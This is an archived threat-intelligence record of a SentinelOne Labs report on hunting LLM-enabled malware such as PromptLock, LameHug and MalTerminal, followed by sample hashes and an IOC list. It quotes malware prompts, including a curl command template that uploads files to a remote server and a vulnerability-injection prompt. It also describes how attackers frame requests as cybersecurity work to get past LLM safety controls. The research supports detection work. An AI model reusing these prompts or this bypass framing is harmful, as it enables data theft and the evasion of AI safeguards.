{
	"id": "a18453ae-c4a2-44b1-8c5f-fce35ed82f45",
	"created_at": "2026-09-08T02:02:34.44589Z",
	"updated_at": "2026-11-22T02:24:38.634091Z",
	"deleted_at": null,
	"sha1_hash": "e0a741c74ad2b9c9a6af5588c2be233a72acc144",
	"title": "Prompts as Code \u0026 Embedded Keys | The Hunt for LLM-Enabled Malware",
	"llm_title": "Prompts as Code \u0026 Embedded Keys | The Hunt for LLM-Enabled Malware",
	"authors": "Alex Delamotte, Vitaly Kamluk, Gabriel Bernadett-Shapiro",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 212312,
	"plain_text": "https://www.sentinelone.com/labs/prompts-as-code-embedded-keys-the-hunt-for-llm-enabled-malware/\n\nPrompts as Code \u0026 Embedded Keys | The Hunt for LLM-Enabled\n\nMalware\n\nBy Alex Delamotte, Vitaly Kamluk \u0026 Gabriel Bernadett-Shapiro\n\nPublished: 2025-09-19 · Archived: 2026-09-08 02:00:47 UTC\n\nThis is an abridged version of the LABScon 2025 presentation “LLM-Enabled Malware In the Wild” by the\n\nauthors. A LABScon Replay video of the full talk will be released in due course.\n\nAs Large Language Models (LLMs) are increasingly incorporated into software‑development workflows, they\n\nalso have the potential to become powerful new tools for adversaries; as defenders, it is important that we\n\nunderstand the implications of their use and how that use affects the dynamics of the security space.\n\nIn our research, we wanted to understand how LLMs are being used and how we could successfully hunt for\n\nLLM-enabled malware. On the face of it, malware that offloads its malicious functionality to an LLM that can\n\ngenerate code-on-the-fly looks like a detection engineer’s nightmare. Static signatures may fail if unique code is\n\ngenerated at runtime, and binaries could have unpredictable behavior that might make even dynamic detection\n\nchallenging.\n\nWe undertook to survey the current state of LLM-enabled malware in the wild, assess the samples’ characteristics,\n\nand determine if we could reliably hunt for and detect similar threats of this kind. This presented us with a number\n\nof challenges that we needed to solve, and which we describe in this research:\n\nOur first task was to understand the relationship between LLMs and malware seen in the wild. LLMs are\n\nextraordinarily flexible tools, lending themselves to a variety of adversarial uses. We observed several distinct\n\napproaches to using LLMs by adversaries.\n\nLLMs as a Lure – A common adversary behavior is to distribute fake or backdoored “AI assistants” or AI-\n\npowered software to entice victims into installing malware. This follows a familiar social engineering\n\nplaybook of abusing a popular trend or brand as a lure. In certain cases we have seen AI features used to\n\nmasquerade malicious payloads.\n\nAttacks Against LLM Integrated Systems – As enterprises integrate LLMs into applications, they\n\nincrease the attack surface for prompt injection attacks. In these cases, the LLM is not deployed with\n\nmalicious intent, but rather left vulnerable in an unrealized attack path.\n\nMalware Created by LLMs – Although it is technically feasible for LLMs to generate malicious code,\n\nour observations suggest that LLM-generated malware remains immature: adversaries appear to refine\n\noutputs manually, and we have not yet seen large-scale autonomous malware generation in the wild.\n\nHallucinations, code instability and lack of testing may be significant road blocks for this process.\n\nLLMs as Hacking Sidekicks – Threat actors increasingly use LLMs for operational support. Common\n\nexamples include generating convincing phishing emails, assisting with writing code, or triaging stolen\n\ndata. In these cases the LLM is not embedded in the malware, but acts as an external tool for the adversary.\n\nMany of those are marketed as evil versions of ChatGPT going under names like WormGPT, FraudGPT,\n\nPage 1 of 9\n\nhttps://www.sentinelone.com/labs/prompts-as-code-embedded-keys-the-hunt-for-llm-enabled-malware/\n\nHacxGPT and so on. In reality they are often relying on ChatGPT with additional preprompting which\n\nattempts to jailbreak OpenAI’s safety controls and policies.\n\nMalware Leveraging LLM Capabilities – Adversaries have begun to embed LLM capabilities into\n\nmalicious payloads, such that an LLM is a component of the malware and provides the attackers with an\n\noperational advantage. While the other uses of LLMs outlined above have their interests, we wanted to\n\nfocus on this latter category precisely because of the challenge it raises for detection compared to\n\ntraditional malware. The rest of our research will focus on this form of “LLM-embedded malware”, and we\n\nwill look at some examples of this next.\n\nLLM-Enabled Malware | Notable Cases\n\nThere are not many examples of LLM-enabled malware in the wild. However, a few documented cases\n\nserved to bootstrap our research.\n\nPromptLock\n\nOriginally named and claimed as the first AI-powered ransomware by ESET in a brief press-release,\n\nsamples of the malware were first uploaded to VirusTotal on August 25. Although it subsequently turned\n\nout that PromptLock was proof-of-concept research by a university, the samples can still tell defenders a lot\n\nabout what such malware might look like.\n\nThe PromptLock samples are written in Golang, and compiled versions exist for several different\n\nplatforms: Windows PE files, Linux ELF for x64 and ARM architectures. Among the prompts observed in\n\nour research , we can note that many incorporated prompting techniques to account for an adversarial\n\ncontext:\n\nFraming tasks in the context of a cybersecurity expert to make sensitive requests pass LLM safety\n\ncontrols:\n\nSummarize the information which was found for each file in the context of a cybersecurit\n\nIdentification of the target system which may change the overall course of action, and on-the-fly\n\ncommand line generation for data exfiltration.\n\nSummarize the system information, include the home directory paramater EXACTLY. \nIf programs exist, summarize important ones such as compilers, runtimes, or antivirus. \nMake a suggestion about whether this machine is a personal computer, server, or industri\nWe need to back up several files to a remote server.\n\nGenerate code which uses os.execute to execute this command to upload files to the remot\n\n'curl -k -X POST \"\u003cserver\u003e\" -F \"session_key=\u003ckey\u003e\" -F \"file=@\u003cfilename\u003e\"'\n\nPlease find the \u003cserver\u003e, \u003ckey\u003e and \u003cfilename\u003e values attached below.\n\nPage 2 of 9\n\nhttps://www.sentinelone.com/labs/prompts-as-code-embedded-keys-the-hunt-for-llm-enabled-malware/\n\nProduction of live interpretable Lua code, with specific instructions (detailed instructions from an\n\nexperienced Lua programmer).\n\nGenerate a Lua script that prints all files in the home directory recursively.\nRequired:\nUse Ifs = require(\"Ifs\")\nUse Ifs.dir(path) to iterate directories\n\nSpecific guardrails for the code generation, likely included due to the developers implementation\n\nchallenges with incorrect LLM generations (“hallucinations”).\n\nAvoid these common pitfalls:\n\n- Lua 5.1 environment is provided with pre-loaded 'bit32' library, make sure you use it \n- Do not use raw operators ~, \u003c\u003c, \u003e\u003e, \u0026, | in your code. They are invalid.\n- Make sure that you keep the byte endianness consistent when dealing with 32-bit words\n- DO NOT use \"r+b\" or any other mode to open the file, only use \"rb+\"\n\nAPT28 LameHug/PROMPTSTEAL\n\nOriginally reported by CERT-UA in July 2025 and linked to APT28 activity, LameHug (aka\n\nPROMPTSTEAL) utilizes LLMs directly to generate and execute system shell commands to collect\n\ninteresting information. It uses the Paramiko SSH module for Python to upload the stolen files using\n\nhardcoded IP ( 144[.]126[.]202[.]227 ) credentials.\n\nAcross a range of samples, PromptSteal embeds 284 unique HuggingFace API keys. Although the malware\n\nwas first discovered in June 2025, the embedded keys were leaked in a credentials dump observed in 2023.\n\nEmbedding more than one key is a logical step to bypass key blacklisting and increase malware lifetime. It\n\nalso serves as a characteristic for malicious use of LLMs via public APIs, and can be used for threat\n\nhunting.\n\nWritten in Python and compiled to Windows EXE files, the samples embed a number of interesting\n\nprompts, exhibiting role definition (“Windows System Administrator”) and content to generate information\n\ngathering commands. The prompt also includes a simple guardrail at the end: “Return only commands,\n\nwithout markdown”.\n\nPage 3 of 9\n\nhttps://www.sentinelone.com/labs/prompts-as-code-embedded-keys-the-hunt-for-llm-enabled-malware/\n\nLLM prompts embedded in PromptSteal malware\n\nImplications for Defenders\n\nPromptLock and LameHug samples have some notable implications for defenders:\n\nDetection signatures can no longer be made for malicious logic within the code, because the code or\n\nsystem commands may be generated at the runtime, may evolve over time, and differ even between\n\nclose time executions.\n\nNetwork traffic might get mixed with legitimate usage of the vendor’s API and becomes\n\nchallenging to distinguish.\n\nMalware may take a different and unpredictable execution path depending on the environment,\n\nwhere it is started.\n\nHowever, this also means that the malware must include its prompts and method of accessing the model\n\n(e.g., an API key) within the code itself.\n\nThese dependencies create additional challenges: if an API key were revoked then the malware could cease\n\nto operate. This makes LLM enabled malware something of a curiosity: a tool that is uniquely capable,\n\nadaptable, and yet also brittle.\n\nHunting for LLM-Enabled Malware\n\nEmbedding LLM capabilities in any software, malicious or not, introduces dependencies that are difficult\n\nto hide. While attackers have a variety of methods for disguising infrastructure and obfuscating code,\n\nLLMs require two things: access and prompts.\n\nThe majority of developers leverage commercial services like OpenAI, Anthropic, Mistral, Deepseek, xAI,\n\nor Gemini, and platforms such as HuggingFace, Groq, Fireworks, and Perplexity, rather than hosting and\n\nrunning these models themselves. Each of these has its own guidelines on API use and structures for\n\nPage 4 of 9\n\nhttps://www.sentinelone.com/labs/prompts-as-code-embedded-keys-the-hunt-for-llm-enabled-malware/\n\nmaking API calls. Even self-hosted solutions like Ollama or vLLM typically depend on standardized client\n\nlibraries.\n\nAll this means that LLM-enabled malware making use of such services will need to hardcode artifacts such\n\nas API keys and prompts. Working on this assumption, we set out to see if we could hunt for new unknown\n\nsamples based on the following shared characteristics:\n\nUse of commercially available services\n\nUse of standard API Libraries\n\nEmbedded stolen or leaked API keys\n\nPrompt as code\n\nWe approached this problem in three phases. First, we surveyed the landscape of public discussions and\n\nsamples to understand how LLM-enabled malware was being advertised and tested. This provided a\n\nfoundation for identifying realistic attacker tradecraft. Next, we developed two primary hunting strategies:\n\nwide API key detection and prompt hunting.\n\nWide API Key Detection\n\nWe wrote YARA rules to identify API keys for major LLM providers. Providers such as OpenAI and\n\nAnthropic use uniquely identifiable key structures. The first and obvious indicator is the key prefix, which\n\nis often unique – all current Anthropic keys are prefixed with  sk-ant-api03 . Less obviously, OpenAI\n\nkeys contain the  T3BlbkFJ  substring. This substring represents “OpenAI” encoded with Base64. These\n\ndeterministic patterns made large-scale retrohunting feasible.\n\nA year-long retrohunt across VirusTotal brought to light more than 7,000 samples containing over 6,000\n\nunique keys (some samples shared the same keys). Almost all of these turned out to be non-malicious. The\n\ninclusion of API keys can be attributed to a number of possible reasons, from a developer’s mistake or\n\naccidental internal software leak to VirusTotal, to careless intentional inclusion of keys by not so security-\n\nsavvy developers.\n\nSome other files were malicious and contained API keys. However, these turned out to be benign\n\napplications infected by using an LLM and did not fit our definition of LLM-enabled malware.\n\nNotably, about half of the files were Android applications (APKs). Some of the APKs were real malware,\n\ne.g., Rkor ransomware: disguised as an LLM chat lure. Others exposed strange malware-like behaviour, for\n\nexample “Medusaskils injector” app, which for some reason pushed an OpenAI API key to the clipboard in\n\na loop 50 times.\n\nProcessing thousands of samples manually is a very tedious task. We developed a clustering methodology\n\nbased on a unique shared keys set. Observing that previously documented malware included multiple API\n\nkeys for redundancy, we started looking from samples containing the largest number of keys. This method\n\nwas effective but inefficient as it required significant time to analyze and contextualize the clusters\n\nthemselves.\n\nPrompt Hunting\n\nPage 5 of 9\n\nhttps://www.sentinelone.com/labs/prompts-as-code-embedded-keys-the-hunt-for-llm-enabled-malware/\n\nBecause every LLM-enabled application must issue prompts, we searched binaries and scripts for common\n\nprompt structures and message formats. Hardcoded prompts are a reliable indicator of LLM integration,\n\nand in many cases, reveal the operational intent of the software developer. In other words, whereas with\n\ntraditional malware we hunt for code, with LLM enabled malware we can hunt for prompts.\n\nHunting by prompt was especially successful when we paired this method with a lightweight LLM\n\nclassifier to identify malicious intent. When we detected the presence of a prompt within the software we\n\nattempted to extract it and then use an LLM to score the prompt for whether it was malicious or benign. We\n\nthen could skim the top rated malicious prompts to identify a large quantity of LLM enabled malware.\n\nLLM-Enabled Malware | New Discoveries\n\nOur methodology allowed us to uncover new LLM-enabled malware not previously reported and explore\n\nmultiple offensive or semi-offensive uses of LLMs. Our API Key hunt turned up a set of Python scripts and\n\nWindows executables we dubbed ‘MalTerminal’, after the name of the compiled  .exe  file.\n\nThe executable uses OpenAI GPT-4 to dynamically generate ransomware code or a reverse shell.\n\nMalTerminal contained an OpenAI chat completions API endpoint that was deprecated in early November\n\n2023, suggesting that the sample was written before that date and likely making MalTerminal the earliest\n\nfinding of an LLM-enabled malware.\n\nFile name Purpose\n\nMalTerminal.exe Malware\n\ntestAPI.py (1) Malware\n\ntestAPI.py (2) Malware\n\nTestMal2.py Malware\n\nDefensive\nTestMal3.py\nTool\n\nDefensive\nDefe.py (1)\nTool\n\nDefensive\nDefe.py (2)\nTool\n\nNotes\n\nCompiled Python2EXE sample:\n\nC:\\Users\\Public\\Proj\\MalTerminal.py\n\nMalware generator PoC scripts\n\nMalware generator PoC scripts\n\nEarly version of Malterminal\n\n“FalconShield: A tool to analyze suspicious Python files.”\n\n“FalconShield: A tool to analyze suspicious Python files.”\n\n“FalconShield: A tool to analyze suspicious Python files.”\n\nAside from the Windows executable we found a number of Python scripts. The  testAPI.py  scripts are\n\npython loaders that are functionally identical to the compiled binary and which prompt the operator to\n\nchoose ‘Ransomware’ or ‘Reverse Shell’.  TestMal2.py  is a more advanced version of the python loaders\n\nwith more nuanced menu options.  TestMal3.py  is a defensive tool that appears to be called\n\n‘FalconShield’. This is a brittle scanner that checks for patterns in a target Python file, asks GPT to judge if\n\nPage 6 of 9\n\nhttps://www.sentinelone.com/labs/prompts-as-code-embedded-keys-the-hunt-for-llm-enabled-malware/\n\nthe code is malicious, and can write a “malware analysis” report. Variants of this scanner bear the file\n\nnames  Defe.py .\n\nDespite what seems to be significant development efforts, we did not find evidence of any in-the-wild\n\ndeployment of these tools or efforts to sell or distribute them. We remain open-minded as to the objectives\n\nof the author: proof-of-concept malware or red team tools are both reasonable hypotheses.\n\nHunting for prompts also led us to discover a multitude of offensive tools leveraging LLMs for some\n\noperational capability. We were able to identify prompts related to agentic computer network exploitation,\n\nshellcode generators and a multitude of WormGPT copycats. The following example is taken from a\n\nvulnerability injector:\n\n{\"role\": \"system\", \"content\": \"You are a cybersecurity expert specializing in CWE vulnerabilit\n\n…\n\nModify the following secure code to introduce a {CWE_vulnerability} vulnerability. Secure Code\n\nSome notable and creative ways that LLMs were used included:\n\nPeople search agent (violates the policies of most commercial services)\n\nBrowser navigation with LLM (possible antibot technology bypass)\n\nRed team benchmarking Agent\n\nSensitive data extraction from LLM training knowledge\n\nLLM assisted code vulnerability discovery\n\nLLM assisted code vulnerability injection\n\nPentesting assistant for Kali Linux\n\nMobile screen control visual analysis and control (bot automation)\n\nConclusion\n\nThe incorporation of LLMs into malware marks a qualitative shift in adversary tradecraft. With the ability\n\nto generate malicious logic and commands at runtime, LLM-enabled malware introduces new challenges\n\nfor defenders. At the same time, the dependencies that come with LLM integration, such as embedded API\n\nkeys and hardcoded prompts, create opportunities for effective threat hunting. By focusing on these\n\nartifacts, our research has shown it is possible to uncover new and previously unreported samples.\n\nAlthough the use of LLM-enabled malware is still limited and largely experimental, this early stage of\n\ndevelopment gives defenders an opportunity to learn from attackers’ mistakes and adjust their approaches\n\naccordingly. We expect adversaries to adapt their strategies, and we hope further research can build on the\n\nwork we have presented here.\n\nMalware Samples\n\nPage 7 of 9\n\nhttps://www.sentinelone.com/labs/prompts-as-code-embedded-keys-the-hunt-for-llm-enabled-malware/\n\nMalTerminal\n\n3082156a26534377a8a8228f44620a5bb00440b37b0cf7666c63c542232260f2\n\n3afbb9fe6bab2cad83c52a3f1a12e0ce979fe260c55ab22a43c18035ff7d7f38\n\n4c73717d933f6b53c40ed1b211143df8d011800897be1ceb5d4a2af39c9d4ccc\n\n4ddbc14d8b6a301122c0ac6e22aef6340f45a3a6830bcdacf868c755a7162216\n\n68ca559bf6654c7ca96c10abb4a011af1f4da0e6d28b43186d1d48d2f936684c\n\n75b4ad99f33d1adbc0d71a9da937759e6e5788ad0f8a2c76a34690ef1c49ebf5\n\n854b559bae2ce8700edd75808267cfb5f60d61ff451f0cf8ec1d689334ac8d0b\n\n943d3537730e41e0a6fe8048885a07ea2017847558a916f88c2c9afe32851fe6\n\nb2bda70318af89b9e82751eb852ece626e2928b94ac6af6e6c7031b3d016ebd2\n\nc1a80983779d8408a9c303d403999a9aef8c2f0fe63f8b5ca658862f66f3db16\n\nc5ae843e1c7769803ca70a9d5b5574870f365fb139016134e5dd3cb1b1a65f5f\n\nc86a5fcefbf039a72bd8ad5dc70bcb67e9c005f40a7bacd2f76c793f85e9a061\n\nd1b48715ace58ee3bfb7af34066491263b885bd865863032820dccfe184614ad\n\ndc9f49044d16abfda299184af13aa88ab2c0fda9ca7999adcdbd44e3c037a8b1\n\ne88a7b9ad5d175383d466c5ad7ebd7683d60654d2fa2aca40e2c4eb9e955c927\n\nPromptLock\n\n09bf891b7b35b2081d3ebca8de715da07a70151227ab55aec1da26eb769c006f\n\n1458b6dc98a878f237bfb3c3f354ea6e12d76e340cefe55d6a1c9c7eb64c9aee\n\n1612ab799df51a7f1169d3f47ea129356b42c8ad81286d05b0256f80c17d4089\n\n2755e1ec1e4c3c0cd94ebe43bd66391f05282b6020b2177ee3b939fdd33216f6\n\n7bbb06479a2e554e450beb2875ea19237068aa1055a4d56215f4e9a2317f8ce6\n\nb43e7d481c4fdc9217e17908f3a4efa351a1dab867ca902883205fe7d1aab5e7\n\ne24fe0dd0bf8d3943d9c4282f172746af6b0787539b371e6626bdb86605ccd70\n\nLameHug\n\n165eaf8183f693f644a8a24d2ec138cd4f8d9fd040e8bafc1b021a0f973692dd\n\n2eb18873273e157a7244bb165d53ea3637c76087eea84b0ab635d04417ffbe1b\n\n384e8f3d300205546fb8c9b9224011b3b3cb71adc994180ff55e1e6416f65715\n\n5ab16a59b12c7c5539d9e22a090ba6c7942fbc5ab8abbc5dffa6b6de6e0f2fc6\n\n5f6bfdd430a23afdc518857dfff25a29d85ead441dfa0ee363f4e73f240c89f4\n\n766c356d6a4b00078a0293460c5967764fcd788da8c1cd1df708695f3a15b777\n\n8013b23cb78407675f323d54b6b8dfb2a61fb40fb13309337f5b662dbd812a5d\n\na30930dfb655aa39c571c163ada65ba4dec30600df3bf548cc48bedd0e841416\n\na32a3751dfd4d7a0a66b7ecbd9bacb5087076377d486afdf05d3de3cb7555501\n\na67465075c91bb15b81e1f898f2b773196d3711d8e1fb321a9d6647958be436b\n\nae6ed1721d37477494f3f755c124d53a7dd3e24e98c20f3a1372f45cc8130989\n\nb3fcba809984eaffc5b88a1bcded28ac50e71965e61a66dd959792f7750b9e87\n\nb49aa9efd41f82b34a7811a7894f0ebf04e1d9aab0b622e0083b78f54fe8b466\n\nbb2836148527744b11671347d73ca798aca9954c6875082f9e1176d7b52b720f\n\nbdb33bbb4ea11884b15f67e5c974136e6294aa87459cdc276ac2eea85b1deaa3\n\nPage 8 of 9\n\nhttps://www.sentinelone.com/labs/prompts-as-code-embedded-keys-the-hunt-for-llm-enabled-malware/\n\ncf4d430d0760d59e2fa925792f9e2b62d335eaf4d664d02bff16dd1b522a462a\n\nd6af1c9f5ce407e53ec73c8e7187ed804fb4f80cf8dbd6722fc69e15e135db2e\n\nSource: https://www.sentinelone.com/labs/prompts-as-code-embedded-keys-the-hunt-for-llm-enabled-malware/\n\nPage 9 of 9",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.sentinelone.com/labs/prompts-as-code-embedded-keys-the-hunt-for-llm-enabled-malware/"
	],
	"report_names": [
		"prompts-as-code-embedded-keys-the-hunt-for-llm-enabled-malware"
	],
	"threat_actors": [
		{
			"id": "ae320ed7-9a63-42ed-944b-44ada7313495",
			"created_at": "2022-10-25T15:50:23.671663Z",
			"updated_at": "2026-11-22T02:00:12.65887Z",
			"deleted_at": null,
			"main_name": "APT28",
			"aliases": [
				"APT28",
				"IRON TWILIGHT",
				"SNAKEMACKEREL",
				"Group 74",
				"Sednit",
				"Sofacy",
				"Pawn Storm",
				"Fancy Bear",
				"STRONTIUM",
				"Tsar Team",
				"Threat Group-4127",
				"TG-4127",
				"Forest Blizzard",
				"FROZENLAKE",
				"GruesomeLarch"
			],
			"source_name": "MITRE:APT28",
			"tools": [
				"Wevtutil",
				"certutil",
				"Forfiles",
				"DealersChoice",
				"Mimikatz",
				"ADVSTORESHELL",
				"Komplex",
				"HIDEDRV",
				"JHUHUGIT",
				"Koadic",
				"Winexe",
				"cipher.exe",
				"XTunnel",
				"Drovorub",
				"LAMEHUG",
				"CORESHELL",
				"OLDBAIT",
				"Downdelph",
				"XAgentOSX",
				"USBStealer",
				"Zebrocy",
				"reGeorg",
				"Fysbis",
				"LoJax"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "730dfa6e-572d-473c-9267-ea1597d1a42b",
			"created_at": "2023-01-06T13:46:38.389985Z",
			"updated_at": "2026-11-22T02:00:08.782837Z",
			"deleted_at": null,
			"main_name": "APT28",
			"aliases": [
				"IRON TWILIGHT",
				"ATK5",
				"APT-C-20",
				"Forest Blizzard",
				"ITG05",
				"FROZENLAKE",
				"BlueDelta",
				"LAKE RELIC",
				"Sednit",
				"Tsar Team",
				"TG-4127",
				"Group 74",
				"Grizzly Steppe",
				"G0007",
				"Fighting Ursa",
				"TA422",
				"SIG40",
				"Blue Athena",
				"T-APT-12",
				"UAC-0028",
				"UAC-0001",
				"Sofacy",
				"Fancy Bear",
				"GruesomeLarch",
				"Pawn Storm",
				"FANCY BEAR",
				"SNAKEMACKEREL",
				"STRONTIUM"
			],
			"source_name": "MISPGALAXY:APT28",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "e3767160-695d-4360-8b2e-d5274db3f7cd",
			"created_at": "2022-10-25T16:47:55.914348Z",
			"updated_at": "2026-11-22T02:00:08.985275Z",
			"deleted_at": null,
			"main_name": "IRON TWILIGHT",
			"aliases": [
				"APT28",
				"ATK5",
				"Blue Athena",
				"BlueDelta",
				"FROZENLAKE",
				"Fancy Bear",
				"Fighting Ursa",
				"Forest Blizzard",
				"GRAPHITE",
				"Group 74",
				"PawnStorm",
				"STRONTIUM",
				"Sednit",
				"Snakemackerel",
				"Sofacy",
				"Swallowtail",
				"TA422",
				"TG-4127",
				"Tsar Team",
				"UAC-0001"
			],
			"source_name": "Secureworks:IRON TWILIGHT",
			"tools": [
				"DEALERSCHOICE",
				"Downdelph",
				"Drovorub",
				"EVILTOSS",
				"HIDEDRV",
				"Headlace",
				"LAMEHUG",
				"LoJack",
				"PowerShell Empire",
				"SCONATO",
				"SEDUPLOADER",
				"SHARPFRONT",
				"Scaramouche",
				"Sedkit Exploit Kit",
				"SimpleLoader",
				"Sofacy downloader",
				"X-Agent",
				"X-Tunnel",
				"Zebrocy",
				"reGeorg"
			],
			"source_id": "Secureworks",
			"reports": null
		}
	],
	"ts_created_at": 1788832954,
	"ts_updated_at": 1795314278,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/e0a741c74ad2b9c9a6af5588c2be233a72acc144.pdf",
		"text": "https://archive.orkl.eu/e0a741c74ad2b9c9a6af5588c2be233a72acc144.txt",
		"img": "https://archive.orkl.eu/e0a741c74ad2b9c9a6af5588c2be233a72acc144.jpg"
	},
	"iocs": [
		{
			"type": "domain",
			"value": "defe.py",
			"count": 3,
			"flags": [
				"upper_case",
				"file_like"
			],
			"some_flags": [
				"upper_case",
				"file_like"
			]
		},
		{
			"type": "domain",
			"value": "malterminal.py",
			"count": 1,
			"flags": [
				"upper_case",
				"file_like"
			],
			"some_flags": [
				"upper_case",
				"file_like"
			]
		},
		{
			"type": "domain",
			"value": "testapi.py",
			"count": 3,
			"flags": [
				"upper_case",
				"file_like"
			],
			"some_flags": [
				"upper_case",
				"file_like"
			]
		},
		{
			"type": "domain",
			"value": "testmal2.py",
			"count": 2,
			"flags": [
				"upper_case",
				"file_like"
			],
			"some_flags": [
				"upper_case",
				"file_like"
			]
		},
		{
			"type": "domain",
			"value": "testmal3.py",
			"count": 2,
			"flags": [
				"upper_case",
				"file_like"
			],
			"some_flags": [
				"upper_case",
				"file_like"
			]
		},
		{
			"type": "domain",
			"value": "www.sentinelone.com",
			"count": 10,
			"flags": [
				"in_url_host"
			],
			"some_flags": [
				"in_url_host"
			]
		},
		{
			"type": "ipv4",
			"value": "144.126.202.227",
			"count": 1,
			"flags": [
				"defanged"
			],
			"some_flags": [
				"defanged"
			]
		},
		{
			"type": "sha256",
			"value": "09bf891b7b35b2081d3ebca8de715da07a70151227ab55aec1da26eb769c006f",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "1458b6dc98a878f237bfb3c3f354ea6e12d76e340cefe55d6a1c9c7eb64c9aee",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "1612ab799df51a7f1169d3f47ea129356b42c8ad81286d05b0256f80c17d4089",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "165eaf8183f693f644a8a24d2ec138cd4f8d9fd040e8bafc1b021a0f973692dd",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "2755e1ec1e4c3c0cd94ebe43bd66391f05282b6020b2177ee3b939fdd33216f6",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "2eb18873273e157a7244bb165d53ea3637c76087eea84b0ab635d04417ffbe1b",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "3082156a26534377a8a8228f44620a5bb00440b37b0cf7666c63c542232260f2",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "384e8f3d300205546fb8c9b9224011b3b3cb71adc994180ff55e1e6416f65715",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "3afbb9fe6bab2cad83c52a3f1a12e0ce979fe260c55ab22a43c18035ff7d7f38",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "4c73717d933f6b53c40ed1b211143df8d011800897be1ceb5d4a2af39c9d4ccc",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "4ddbc14d8b6a301122c0ac6e22aef6340f45a3a6830bcdacf868c755a7162216",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "5ab16a59b12c7c5539d9e22a090ba6c7942fbc5ab8abbc5dffa6b6de6e0f2fc6",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "5f6bfdd430a23afdc518857dfff25a29d85ead441dfa0ee363f4e73f240c89f4",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "68ca559bf6654c7ca96c10abb4a011af1f4da0e6d28b43186d1d48d2f936684c",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "75b4ad99f33d1adbc0d71a9da937759e6e5788ad0f8a2c76a34690ef1c49ebf5",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "766c356d6a4b00078a0293460c5967764fcd788da8c1cd1df708695f3a15b777",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "7bbb06479a2e554e450beb2875ea19237068aa1055a4d56215f4e9a2317f8ce6",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "8013b23cb78407675f323d54b6b8dfb2a61fb40fb13309337f5b662dbd812a5d",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "854b559bae2ce8700edd75808267cfb5f60d61ff451f0cf8ec1d689334ac8d0b",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "943d3537730e41e0a6fe8048885a07ea2017847558a916f88c2c9afe32851fe6",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "a30930dfb655aa39c571c163ada65ba4dec30600df3bf548cc48bedd0e841416",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "a32a3751dfd4d7a0a66b7ecbd9bacb5087076377d486afdf05d3de3cb7555501",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "a67465075c91bb15b81e1f898f2b773196d3711d8e1fb321a9d6647958be436b",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "ae6ed1721d37477494f3f755c124d53a7dd3e24e98c20f3a1372f45cc8130989",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "b2bda70318af89b9e82751eb852ece626e2928b94ac6af6e6c7031b3d016ebd2",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "b3fcba809984eaffc5b88a1bcded28ac50e71965e61a66dd959792f7750b9e87",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "b43e7d481c4fdc9217e17908f3a4efa351a1dab867ca902883205fe7d1aab5e7",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "b49aa9efd41f82b34a7811a7894f0ebf04e1d9aab0b622e0083b78f54fe8b466",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "bb2836148527744b11671347d73ca798aca9954c6875082f9e1176d7b52b720f",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "bdb33bbb4ea11884b15f67e5c974136e6294aa87459cdc276ac2eea85b1deaa3",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "c1a80983779d8408a9c303d403999a9aef8c2f0fe63f8b5ca658862f66f3db16",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "c5ae843e1c7769803ca70a9d5b5574870f365fb139016134e5dd3cb1b1a65f5f",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "c86a5fcefbf039a72bd8ad5dc70bcb67e9c005f40a7bacd2f76c793f85e9a061",
			"count": 1,
			"flags": [],
			"some_flags": []
		},
		{
			"type": "sha256",
			"value": "cf4d430d0760d59e2fa925792f9e2b62d335eaf4d664d02bff16dd1b522a462a",
